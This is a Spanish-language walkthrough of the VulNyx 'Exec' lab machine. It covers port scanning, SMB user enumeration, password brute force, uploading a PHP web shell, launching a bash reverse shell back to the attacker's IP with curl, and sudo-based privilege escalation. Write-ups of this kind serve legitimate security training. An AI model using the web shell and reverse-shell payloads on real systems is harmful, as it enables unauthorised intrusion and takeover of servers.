VulNyx - Exec

logo

  • User Enumeration SMB - (RpcClient)
  • Brute Force SMB - (NetExec)
  • Abusing Bash Binary - (Sudo/Pivoting)
  • Abusing Apt Binary - (Sudo/Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.74

PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64

Escaneo de servicios

❯ nmap -sV -sC -p 22,80,139,445 -v 192.168.1.74

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp  open  http        Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -2s
| smb2-time: 
|   date: 2024-04-16T09:45:07
|_  start_date: N/A
| nbstat: NetBIOS name: EXEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   EXEC<00>             Flags: <unique><active>
|   EXEC<03>             Flags: <unique><active>
|   EXEC<20>             Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

HTTP TCP - 80

http

SMB TCP - 445

Realizo una enumeración básica del servicio SMB con netexec. En la imagen se puede ver el recurso server con permisos de lectura y escritura.

nxcShares

Me conecto con rpcclient a la máquina objetivo sin proporcionar credenciales de acceso, con lookupnames root me devuelve el número SID S-1-22-1-0 asociado al usuario root.

rpcclient

Sabiendo el SID de root puedo enumerar usuarios del sistema mediante lookupsids, busco información del SID S-1-22-1-1000 y me encuentra el usuario s3cur4.

rpcclient2

El SID 1000 suele corresponder a la cuenta de usuario del sistema.

Realizo fuerza bruta al usuario s3cur4 y encuentro su contraseña.

fbnxc

Me conecto al recurso server mediante smbclient.

smbclient

Una vez conectado al recurso subo el archivo door.php porque tengo permisos de escritura.

smbclientPUT

Archivo door.php.

<?php system($_GET['cmd']); ?>

Seguidamente compruebo que puedo ejecutar comandos.

id

Mediante curl me mando mando una shell de bash.

❯ curl -s "192.168.1.74/door.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.20%2F4444%200%3E%261%27"

Recibo una shell como usuario www-data.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.74] 58000
bash: cannot set terminal process group (498): Inappropriate ioctl for device
bash: no job control in this shell
www-data@exec:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@exec:/var/www/html$ 

Enumero permisos de sudo.

sudoL

Consigo pasar de usuario www-data a s3cur4 de la siguiente forma:

pivotingUser

Enumero de nuevo permisos de sudo.

sudoL2

Busco información del binario apt en gtfobins.

gtfobins-cli

Obtengo el root.

root

Y aquí termina la máquina Exec.

Saludos!